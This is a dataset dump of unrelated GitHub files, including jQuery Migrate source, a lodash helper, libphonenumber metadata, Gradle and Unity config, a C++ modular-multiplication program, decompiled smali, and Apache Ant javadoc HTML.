text
stringlengths 2
100k
| meta
dict |
---|---|
|Google logo|
========
Signal 6
========
.. container::
.. container:: content
.. rubric:: Error message
``Process terminated with signal 6``
.. rubric:: Description
This error indicates an issue with the operating environment, e.g.,
a software or hardware incompatibility.
.. rubric:: Resolution
Confirm that your hardware and software meet the requirements
listed in the technical documentation.
.. |Google logo| image:: ../../art/common/googlelogo_color_260x88dp.png
:width: 130px
:height: 44px
| {
"pile_set_name": "Github"
} |
<?php
/**
* This file has been @generated by a phing task by {@link BuildMetadataPHPFromXml}.
* See [README.md](README.md#generating-data) for more information.
*
* Pull requests changing data in these files will not be accepted. See the
* [FAQ in the README](README.md#problems-with-invalid-numbers] on how to make
* metadata changes.
*
* Do not modify this file directly!
*/
return array (
'generalDesc' =>
array (
'NationalNumberPattern' => '1\\d',
'PossibleLength' =>
array (
0 => 2,
),
'PossibleLengthLocalOnly' =>
array (
),
),
'tollFree' =>
array (
'NationalNumberPattern' => '1[78]',
'ExampleNumber' => '17',
'PossibleLength' =>
array (
),
'PossibleLengthLocalOnly' =>
array (
),
),
'premiumRate' =>
array (
'PossibleLength' =>
array (
0 => -1,
),
'PossibleLengthLocalOnly' =>
array (
),
),
'emergency' =>
array (
'NationalNumberPattern' => '1[78]',
'ExampleNumber' => '17',
'PossibleLength' =>
array (
),
'PossibleLengthLocalOnly' =>
array (
),
),
'shortCode' =>
array (
'NationalNumberPattern' => '1[78]',
'ExampleNumber' => '17',
'PossibleLength' =>
array (
),
'PossibleLengthLocalOnly' =>
array (
),
),
'standardRate' =>
array (
'PossibleLength' =>
array (
0 => -1,
),
'PossibleLengthLocalOnly' =>
array (
),
),
'carrierSpecific' =>
array (
'PossibleLength' =>
array (
0 => -1,
),
'PossibleLengthLocalOnly' =>
array (
),
),
'smsServices' =>
array (
'PossibleLength' =>
array (
0 => -1,
),
'PossibleLengthLocalOnly' =>
array (
),
),
'id' => 'KM',
'countryCode' => 0,
'internationalPrefix' => '',
'sameMobileAndFixedLinePattern' => false,
'numberFormat' =>
array (
),
'intlNumberFormat' =>
array (
),
'mainCountryForCode' => false,
'leadingZeroPossible' => false,
'mobileNumberPortableRegion' => false,
);
| {
"pile_set_name": "Github"
} |
var LazyWrapper = require('./_LazyWrapper'),
LodashWrapper = require('./_LodashWrapper'),
copyArray = require('./_copyArray');
/**
* Creates a clone of `wrapper`.
*
* @private
* @param {Object} wrapper The wrapper to clone.
* @returns {Object} Returns the cloned wrapper.
*/
function wrapperClone(wrapper) {
if (wrapper instanceof LazyWrapper) {
return wrapper.clone();
}
var result = new LodashWrapper(wrapper.__wrapped__, wrapper.__chain__);
result.__actions__ = copyArray(wrapper.__actions__);
result.__index__ = wrapper.__index__;
result.__values__ = wrapper.__values__;
return result;
}
module.exports = wrapperClone;
| {
"pile_set_name": "Github"
} |
/*!
* jQuery Migrate - v1.1.1 - 2013-02-16
* https://github.com/jquery/jquery-migrate
* Copyright 2005, 2013 jQuery Foundation, Inc. and other contributors; Licensed MIT
*/
(function( jQuery, window, undefined ) {
// See http://bugs.jquery.com/ticket/13335
// "use strict";
var warnedAbout = {};
// List of warnings already given; public read only
jQuery.migrateWarnings = [];
// Set to true to prevent console output; migrateWarnings still maintained
// jQuery.migrateMute = false;
// Show a message on the console so devs know we're active
if ( !jQuery.migrateMute && window.console && console.log ) {
console.log("JQMIGRATE: Logging is active");
}
// Set to false to disable traces that appear with warnings
if ( jQuery.migrateTrace === undefined ) {
jQuery.migrateTrace = true;
}
// Forget any warnings we've already given; public
jQuery.migrateReset = function() {
warnedAbout = {};
jQuery.migrateWarnings.length = 0;
};
function migrateWarn( msg) {
if ( !warnedAbout[ msg ] ) {
warnedAbout[ msg ] = true;
jQuery.migrateWarnings.push( msg );
if ( window.console && console.warn && !jQuery.migrateMute ) {
console.warn( "JQMIGRATE: " + msg );
if ( jQuery.migrateTrace && console.trace ) {
console.trace();
}
}
}
}
function migrateWarnProp( obj, prop, value, msg ) {
if ( Object.defineProperty ) {
// On ES5 browsers (non-oldIE), warn if the code tries to get prop;
// allow property to be overwritten in case some other plugin wants it
try {
Object.defineProperty( obj, prop, {
configurable: true,
enumerable: true,
get: function() {
migrateWarn( msg );
return value;
},
set: function( newValue ) {
migrateWarn( msg );
value = newValue;
}
});
return;
} catch( err ) {
// IE8 is a dope about Object.defineProperty, can't warn there
}
}
// Non-ES5 (or broken) browser; just set the property
jQuery._definePropertyBroken = true;
obj[ prop ] = value;
}
if ( document.compatMode === "BackCompat" ) {
// jQuery has never supported or tested Quirks Mode
migrateWarn( "jQuery is not compatible with Quirks Mode" );
}
var attrFn = jQuery( "<input/>", { size: 1 } ).attr("size") && jQuery.attrFn,
oldAttr = jQuery.attr,
valueAttrGet = jQuery.attrHooks.value && jQuery.attrHooks.value.get ||
function() { return null; },
valueAttrSet = jQuery.attrHooks.value && jQuery.attrHooks.value.set ||
function() { return undefined; },
rnoType = /^(?:input|button)$/i,
rnoAttrNodeType = /^[238]$/,
rboolean = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,
ruseDefault = /^(?:checked|selected)$/i;
// jQuery.attrFn
migrateWarnProp( jQuery, "attrFn", attrFn || {}, "jQuery.attrFn is deprecated" );
jQuery.attr = function( elem, name, value, pass ) {
var lowerName = name.toLowerCase(),
nType = elem && elem.nodeType;
if ( pass ) {
// Since pass is used internally, we only warn for new jQuery
// versions where there isn't a pass arg in the formal params
if ( oldAttr.length < 4 ) {
migrateWarn("jQuery.fn.attr( props, pass ) is deprecated");
}
if ( elem && !rnoAttrNodeType.test( nType ) &&
(attrFn ? name in attrFn : jQuery.isFunction(jQuery.fn[name])) ) {
return jQuery( elem )[ name ]( value );
}
}
// Warn if user tries to set `type`, since it breaks on IE 6/7/8; by checking
// for disconnected elements we don't warn on $( "<button>", { type: "button" } ).
if ( name === "type" && value !== undefined && rnoType.test( elem.nodeName ) && elem.parentNode ) {
migrateWarn("Can't change the 'type' of an input or button in IE 6/7/8");
}
// Restore boolHook for boolean property/attribute synchronization
if ( !jQuery.attrHooks[ lowerName ] && rboolean.test( lowerName ) ) {
jQuery.attrHooks[ lowerName ] = {
get: function( elem, name ) {
// Align boolean attributes with corresponding properties
// Fall back to attribute presence where some booleans are not supported
var attrNode,
property = jQuery.prop( elem, name );
return property === true || typeof property !== "boolean" &&
( attrNode = elem.getAttributeNode(name) ) && attrNode.nodeValue !== false ?
name.toLowerCase() :
undefined;
},
set: function( elem, value, name ) {
var propName;
if ( value === false ) {
// Remove boolean attributes when set to false
jQuery.removeAttr( elem, name );
} else {
// value is true since we know at this point it's type boolean and not false
// Set boolean attributes to the same name and set the DOM property
propName = jQuery.propFix[ name ] || name;
if ( propName in elem ) {
// Only set the IDL specifically if it already exists on the element
elem[ propName ] = true;
}
elem.setAttribute( name, name.toLowerCase() );
}
return name;
}
};
// Warn only for attributes that can remain distinct from their properties post-1.9
if ( ruseDefault.test( lowerName ) ) {
migrateWarn( "jQuery.fn.attr('" + lowerName + "') may use property instead of attribute" );
}
}
return oldAttr.call( jQuery, elem, name, value );
};
// attrHooks: value
jQuery.attrHooks.value = {
get: function( elem, name ) {
var nodeName = ( elem.nodeName || "" ).toLowerCase();
if ( nodeName === "button" ) {
return valueAttrGet.apply( this, arguments );
}
if ( nodeName !== "input" && nodeName !== "option" ) {
migrateWarn("jQuery.fn.attr('value') no longer gets properties");
}
return name in elem ?
elem.value :
null;
},
set: function( elem, value ) {
var nodeName = ( elem.nodeName || "" ).toLowerCase();
if ( nodeName === "button" ) {
return valueAttrSet.apply( this, arguments );
}
if ( nodeName !== "input" && nodeName !== "option" ) {
migrateWarn("jQuery.fn.attr('value', val) no longer sets properties");
}
// Does not return so that setAttribute is also used
elem.value = value;
}
};
var matched, browser,
oldInit = jQuery.fn.init,
oldParseJSON = jQuery.parseJSON,
// Note this does NOT include the #9521 XSS fix from 1.7!
rquickExpr = /^(?:[^<]*(<[\w\W]+>)[^>]*|#([\w\-]*))$/;
// $(html) "looks like html" rule change
jQuery.fn.init = function( selector, context, rootjQuery ) {
var match;
if ( selector && typeof selector === "string" && !jQuery.isPlainObject( context ) &&
(match = rquickExpr.exec( selector )) && match[1] ) {
// This is an HTML string according to the "old" rules; is it still?
if ( selector.charAt( 0 ) !== "<" ) {
migrateWarn("$(html) HTML strings must start with '<' character");
}
// Now process using loose rules; let pre-1.8 play too
if ( context && context.context ) {
// jQuery object as context; parseHTML expects a DOM object
context = context.context;
}
if ( jQuery.parseHTML ) {
return oldInit.call( this, jQuery.parseHTML( jQuery.trim(selector), context, true ),
context, rootjQuery );
}
}
return oldInit.apply( this, arguments );
};
jQuery.fn.init.prototype = jQuery.fn;
// Let $.parseJSON(falsy_value) return null
jQuery.parseJSON = function( json ) {
if ( !json && json !== null ) {
migrateWarn("jQuery.parseJSON requires a valid JSON string");
return null;
}
return oldParseJSON.apply( this, arguments );
};
jQuery.uaMatch = function( ua ) {
ua = ua.toLowerCase();
var match = /(chrome)[ \/]([\w.]+)/.exec( ua ) ||
/(webkit)[ \/]([\w.]+)/.exec( ua ) ||
/(opera)(?:.*version|)[ \/]([\w.]+)/.exec( ua ) ||
/(msie) ([\w.]+)/.exec( ua ) ||
ua.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec( ua ) ||
[];
return {
browser: match[ 1 ] || "",
version: match[ 2 ] || "0"
};
};
// Don't clobber any existing jQuery.browser in case it's different
if ( !jQuery.browser ) {
matched = jQuery.uaMatch( navigator.userAgent );
browser = {};
if ( matched.browser ) {
browser[ matched.browser ] = true;
browser.version = matched.version;
}
// Chrome is Webkit, but Webkit is also Safari.
if ( browser.chrome ) {
browser.webkit = true;
} else if ( browser.webkit ) {
browser.safari = true;
}
jQuery.browser = browser;
}
// Warn if the code tries to get jQuery.browser
migrateWarnProp( jQuery, "browser", jQuery.browser, "jQuery.browser is deprecated" );
jQuery.sub = function() {
function jQuerySub( selector, context ) {
return new jQuerySub.fn.init( selector, context );
}
jQuery.extend( true, jQuerySub, this );
jQuerySub.superclass = this;
jQuerySub.fn = jQuerySub.prototype = this();
jQuerySub.fn.constructor = jQuerySub;
jQuerySub.sub = this.sub;
jQuerySub.fn.init = function init( selector, context ) {
if ( context && context instanceof jQuery && !(context instanceof jQuerySub) ) {
context = jQuerySub( context );
}
return jQuery.fn.init.call( this, selector, context, rootjQuerySub );
};
jQuerySub.fn.init.prototype = jQuerySub.fn;
var rootjQuerySub = jQuerySub(document);
migrateWarn( "jQuery.sub() is deprecated" );
return jQuerySub;
};
// Ensure that $.ajax gets the new parseJSON defined in core.js
jQuery.ajaxSetup({
converters: {
"text json": jQuery.parseJSON
}
});
var oldFnData = jQuery.fn.data;
jQuery.fn.data = function( name ) {
var ret, evt,
elem = this[0];
// Handles 1.7 which has this behavior and 1.8 which doesn't
if ( elem && name === "events" && arguments.length === 1 ) {
ret = jQuery.data( elem, name );
evt = jQuery._data( elem, name );
if ( ( ret === undefined || ret === evt ) && evt !== undefined ) {
migrateWarn("Use of jQuery.fn.data('events') is deprecated");
return evt;
}
}
return oldFnData.apply( this, arguments );
};
var rscriptType = /\/(java|ecma)script/i,
oldSelf = jQuery.fn.andSelf || jQuery.fn.addBack;
jQuery.fn.andSelf = function() {
migrateWarn("jQuery.fn.andSelf() replaced by jQuery.fn.addBack()");
return oldSelf.apply( this, arguments );
};
// Since jQuery.clean is used internally on older versions, we only shim if it's missing
if ( !jQuery.clean ) {
jQuery.clean = function( elems, context, fragment, scripts ) {
// Set context per 1.8 logic
context = context || document;
context = !context.nodeType && context[0] || context;
context = context.ownerDocument || context;
migrateWarn("jQuery.clean() is deprecated");
var i, elem, handleScript, jsTags,
ret = [];
jQuery.merge( ret, jQuery.buildFragment( elems, context ).childNodes );
// Complex logic lifted directly from jQuery 1.8
if ( fragment ) {
// Special handling of each script element
handleScript = function( elem ) {
// Check if we consider it executable
if ( !elem.type || rscriptType.test( elem.type ) ) {
// Detach the script and store it in the scripts array (if provided) or the fragment
// Return truthy to indicate that it has been handled
return scripts ?
scripts.push( elem.parentNode ? elem.parentNode.removeChild( elem ) : elem ) :
fragment.appendChild( elem );
}
};
for ( i = 0; (elem = ret[i]) != null; i++ ) {
// Check if we're done after handling an executable script
if ( !( jQuery.nodeName( elem, "script" ) && handleScript( elem ) ) ) {
// Append to fragment and handle embedded scripts
fragment.appendChild( elem );
if ( typeof elem.getElementsByTagName !== "undefined" ) {
// handleScript alters the DOM, so use jQuery.merge to ensure snapshot iteration
jsTags = jQuery.grep( jQuery.merge( [], elem.getElementsByTagName("script") ), handleScript );
// Splice the scripts into ret after their former ancestor and advance our index beyond them
ret.splice.apply( ret, [i + 1, 0].concat( jsTags ) );
i += jsTags.length;
}
}
}
}
return ret;
};
}
var eventAdd = jQuery.event.add,
eventRemove = jQuery.event.remove,
eventTrigger = jQuery.event.trigger,
oldToggle = jQuery.fn.toggle,
oldLive = jQuery.fn.live,
oldDie = jQuery.fn.die,
ajaxEvents = "ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess",
rajaxEvent = new RegExp( "\\b(?:" + ajaxEvents + ")\\b" ),
rhoverHack = /(?:^|\s)hover(\.\S+|)\b/,
hoverHack = function( events ) {
if ( typeof( events ) !== "string" || jQuery.event.special.hover ) {
return events;
}
if ( rhoverHack.test( events ) ) {
migrateWarn("'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'");
}
return events && events.replace( rhoverHack, "mouseenter$1 mouseleave$1" );
};
// Event props removed in 1.9, put them back if needed; no practical way to warn them
if ( jQuery.event.props && jQuery.event.props[ 0 ] !== "attrChange" ) {
jQuery.event.props.unshift( "attrChange", "attrName", "relatedNode", "srcElement" );
}
// Undocumented jQuery.event.handle was "deprecated" in jQuery 1.7
if ( jQuery.event.dispatch ) {
migrateWarnProp( jQuery.event, "handle", jQuery.event.dispatch, "jQuery.event.handle is undocumented and deprecated" );
}
// Support for 'hover' pseudo-event and ajax event warnings
jQuery.event.add = function( elem, types, handler, data, selector ){
if ( elem !== document && rajaxEvent.test( types ) ) {
migrateWarn( "AJAX events should be attached to document: " + types );
}
eventAdd.call( this, elem, hoverHack( types || "" ), handler, data, selector );
};
jQuery.event.remove = function( elem, types, handler, selector, mappedTypes ){
eventRemove.call( this, elem, hoverHack( types ) || "", handler, selector, mappedTypes );
};
jQuery.fn.error = function() {
var args = Array.prototype.slice.call( arguments, 0);
migrateWarn("jQuery.fn.error() is deprecated");
args.splice( 0, 0, "error" );
if ( arguments.length ) {
return this.bind.apply( this, args );
}
// error event should not bubble to window, although it does pre-1.7
this.triggerHandler.apply( this, args );
return this;
};
jQuery.fn.toggle = function( fn, fn2 ) {
// Don't mess with animation or css toggles
if ( !jQuery.isFunction( fn ) || !jQuery.isFunction( fn2 ) ) {
return oldToggle.apply( this, arguments );
}
migrateWarn("jQuery.fn.toggle(handler, handler...) is deprecated");
// Save reference to arguments for access in closure
var args = arguments,
guid = fn.guid || jQuery.guid++,
i = 0,
toggler = function( event ) {
// Figure out which function to execute
var lastToggle = ( jQuery._data( this, "lastToggle" + fn.guid ) || 0 ) % i;
jQuery._data( this, "lastToggle" + fn.guid, lastToggle + 1 );
// Make sure that clicks stop
event.preventDefault();
// and execute the function
return args[ lastToggle ].apply( this, arguments ) || false;
};
// link all the functions, so any of them can unbind this click handler
toggler.guid = guid;
while ( i < args.length ) {
args[ i++ ].guid = guid;
}
return this.click( toggler );
};
jQuery.fn.live = function( types, data, fn ) {
migrateWarn("jQuery.fn.live() is deprecated");
if ( oldLive ) {
return oldLive.apply( this, arguments );
}
jQuery( this.context ).on( types, this.selector, data, fn );
return this;
};
jQuery.fn.die = function( types, fn ) {
migrateWarn("jQuery.fn.die() is deprecated");
if ( oldDie ) {
return oldDie.apply( this, arguments );
}
jQuery( this.context ).off( types, this.selector || "**", fn );
return this;
};
// Turn global events into document-triggered events
jQuery.event.trigger = function( event, data, elem, onlyHandlers ){
if ( !elem && !rajaxEvent.test( event ) ) {
migrateWarn( "Global events are undocumented and deprecated" );
}
return eventTrigger.call( this, event, data, elem || document, onlyHandlers );
};
jQuery.each( ajaxEvents.split("|"),
function( _, name ) {
jQuery.event.special[ name ] = {
setup: function() {
var elem = this;
// The document needs no shimming; must be !== for oldIE
if ( elem !== document ) {
jQuery.event.add( document, name + "." + jQuery.guid, function() {
jQuery.event.trigger( name, null, elem, true );
});
jQuery._data( this, name, jQuery.guid++ );
}
return false;
},
teardown: function() {
if ( this !== document ) {
jQuery.event.remove( document, name + "." + jQuery._data( this, name ) );
}
return false;
}
};
}
);
})( jQuery, window );
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: 6e4e198607d208d4d9d3a11cbe5c619a
timeCreated: 1487060905
licenseType: Pro
MonoImporter:
serializedVersion: 2
defaultReferences: []
executionOrder: 0
icon: {instanceID: 0}
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
# Project-wide Gradle settings.
# IDE (e.g. Android Studio) users:
# Gradle settings configured through the IDE *will override*
# any settings specified in this file.
# For more details on how to configure your build environment visit
# http://www.gradle.org/docs/current/userguide/build_environment.html
# Specifies the JVM arguments used for the daemon process.
# The setting is particularly useful for tweaking memory settings.
# Default value: -Xmx10248m -XX:MaxPermSize=256m
# org.gradle.jvmargs=-Xmx2048m -XX:MaxPermSize=512m -XX:+HeapDumpOnOutOfMemoryError -Dfile.encoding=UTF-8
# When configured, Gradle will run in incubating parallel mode.
# This option should only be used with decoupled projects. More details, visit
# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
# org.gradle.parallel=true | {
"pile_set_name": "Github"
} |
#include <bits/stdc++.h>
using namespace std;
long long mul(long long a, long long b, long long m) {
long long y = (long long)((double)a*b/m+0.5);
long long r = (a*b-y*m) % m;
if (r < 0) r += m;
return r;
}
int main() {
long long a, b, m;
while (scanf("%lld %lld %lld", &a, &b, &m) == 3)
printf("%lld\n", mul(a, b, m));
return 0;
}
| {
"pile_set_name": "Github"
} |
.class Lcom/helpshift/common/a/d;
.super Lcom/helpshift/common/a/c;
# instance fields
.field final g:Ljava/lang/String;
.field final h:Ljava/lang/String;
.field final synthetic i:Lcom/helpshift/common/a/a;
# direct methods
.method constructor <init>(Lcom/helpshift/common/a/a;Lorg/json/JSONObject;)V
.locals 2
const/4 v1, 0x0
iput-object p1, p0, Lcom/helpshift/common/a/d;->i:Lcom/helpshift/common/a/a;
invoke-direct {p0, p1, p2}, Lcom/helpshift/common/a/c;-><init>(Lcom/helpshift/common/a/a;Lorg/json/JSONObject;)V
const-string/jumbo v0, "thumbnail_url"
invoke-virtual {p2, v0, v1}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object v0
iput-object v0, p0, Lcom/helpshift/common/a/d;->g:Ljava/lang/String;
const-string/jumbo v0, "thumbnailFilePath"
invoke-virtual {p2, v0, v1}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object v0
iput-object v0, p0, Lcom/helpshift/common/a/d;->h:Ljava/lang/String;
return-void
.end method
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (version 1.7.0_121) on Thu Feb 02 18:54:44 CET 2017 -->
<title>InstanceOf (Apache Ant API)</title>
<meta name="date" content="2017-02-02">
<link rel="stylesheet" type="text/css" href="../../../../../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="InstanceOf (Apache Ant API)";
}
}
catch(err) {
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/Exists.html" title="class in org.apache.tools.ant.types.resources.selectors"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/Majority.html" title="class in org.apache.tools.ant.types.resources.selectors"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../../../index.html?org/apache/tools/ant/types/resources/selectors/InstanceOf.html" target="_top">Frames</a></li>
<li><a href="InstanceOf.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">org.apache.tools.ant.types.resources.selectors</div>
<h2 title="Class InstanceOf" class="title">Class InstanceOf</h2>
</div>
<div class="contentContainer">
<ul class="inheritance">
<li>java.lang.Object</li>
<li>
<ul class="inheritance">
<li>org.apache.tools.ant.types.resources.selectors.InstanceOf</li>
</ul>
</li>
</ul>
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>All Implemented Interfaces:</dt>
<dd><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/ResourceSelector.html" title="interface in org.apache.tools.ant.types.resources.selectors">ResourceSelector</a></dd>
</dl>
<hr>
<br>
<pre>public class <span class="strong">InstanceOf</span>
extends java.lang.Object
implements <a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/ResourceSelector.html" title="interface in org.apache.tools.ant.types.resources.selectors">ResourceSelector</a></pre>
<div class="block">InstanceOf ResourceSelector.</div>
<dl><dt><span class="strong">Since:</span></dt>
<dd>Ant 1.7</dd></dl>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_summary">
<!-- -->
</a>
<h3>Constructor Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation">
<caption><span>Constructors</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colOne" scope="col">Constructor and Description</th>
</tr>
<tr class="altColor">
<td class="colOne"><code><strong><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/InstanceOf.html#InstanceOf()">InstanceOf</a></strong>()</code> </td>
</tr>
</table>
</li>
</ul>
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method_summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span>Methods</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>java.lang.Class<?></code></td>
<td class="colLast"><code><strong><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/InstanceOf.html#getCheckClass()">getCheckClass</a></strong>()</code>
<div class="block">Get the comparison class.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>java.lang.String</code></td>
<td class="colLast"><code><strong><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/InstanceOf.html#getType()">getType</a></strong>()</code>
<div class="block">Get the comparison type.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>java.lang.String</code></td>
<td class="colLast"><code><strong><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/InstanceOf.html#getURI()">getURI</a></strong>()</code>
<div class="block">Get the type's URI.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><strong><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/InstanceOf.html#isSelected(org.apache.tools.ant.types.Resource)">isSelected</a></strong>(<a href="../../../../../../../org/apache/tools/ant/types/Resource.html" title="class in org.apache.tools.ant.types">Resource</a> r)</code>
<div class="block">Return true if this Resource is selected.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><strong><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/InstanceOf.html#setClass(java.lang.Class)">setClass</a></strong>(java.lang.Class<?> c)</code>
<div class="block">Set the class to compare against.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><strong><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/InstanceOf.html#setProject(org.apache.tools.ant.Project)">setProject</a></strong>(<a href="../../../../../../../org/apache/tools/ant/Project.html" title="class in org.apache.tools.ant">Project</a> p)</code>
<div class="block">Set the Project instance for this InstanceOf selector.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><strong><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/InstanceOf.html#setType(java.lang.String)">setType</a></strong>(java.lang.String s)</code>
<div class="block">Set the Ant type to compare against.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><strong><a href="../../../../../../../org/apache/tools/ant/types/resources/selectors/InstanceOf.html#setURI(java.lang.String)">setURI</a></strong>(java.lang.String u)</code>
<div class="block">Set the URI in which the Ant type, if specified, should be defined.</div>
</td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_java.lang.Object">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.Object</h3>
<code>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_detail">
<!-- -->
</a>
<h3>Constructor Detail</h3>
<a name="InstanceOf()">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>InstanceOf</h4>
<pre>public InstanceOf()</pre>
</li>
</ul>
</li>
</ul>
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method_detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="setProject(org.apache.tools.ant.Project)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setProject</h4>
<pre>public void setProject(<a href="../../../../../../../org/apache/tools/ant/Project.html" title="class in org.apache.tools.ant">Project</a> p)</pre>
<div class="block">Set the Project instance for this InstanceOf selector.</div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>p</code> - the Project instance used for type comparisons.</dd></dl>
</li>
</ul>
<a name="setClass(java.lang.Class)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setClass</h4>
<pre>public void setClass(java.lang.Class<?> c)</pre>
<div class="block">Set the class to compare against.</div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>c</code> - the class.</dd></dl>
</li>
</ul>
<a name="setType(java.lang.String)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setType</h4>
<pre>public void setType(java.lang.String s)</pre>
<div class="block">Set the Ant type to compare against.</div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>s</code> - the type name.</dd></dl>
</li>
</ul>
<a name="setURI(java.lang.String)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setURI</h4>
<pre>public void setURI(java.lang.String u)</pre>
<div class="block">Set the URI in which the Ant type, if specified, should be defined.</div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>u</code> - the URI.</dd></dl>
</li>
</ul>
<a name="getCheckClass()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getCheckClass</h4>
<pre>public java.lang.Class<?> getCheckClass()</pre>
<div class="block">Get the comparison class.</div>
<dl><dt><span class="strong">Returns:</span></dt><dd>the Class object.</dd></dl>
</li>
</ul>
<a name="getType()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getType</h4>
<pre>public java.lang.String getType()</pre>
<div class="block">Get the comparison type.</div>
<dl><dt><span class="strong">Returns:</span></dt><dd>the String typename.</dd></dl>
</li>
</ul>
<a name="getURI()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getURI</h4>
<pre>public java.lang.String getURI()</pre>
<div class="block">Get the type's URI.</div>
<dl><dt><span class="strong">Returns:</span></dt><dd>the String URI.</dd></dl>
</li>
</ul>
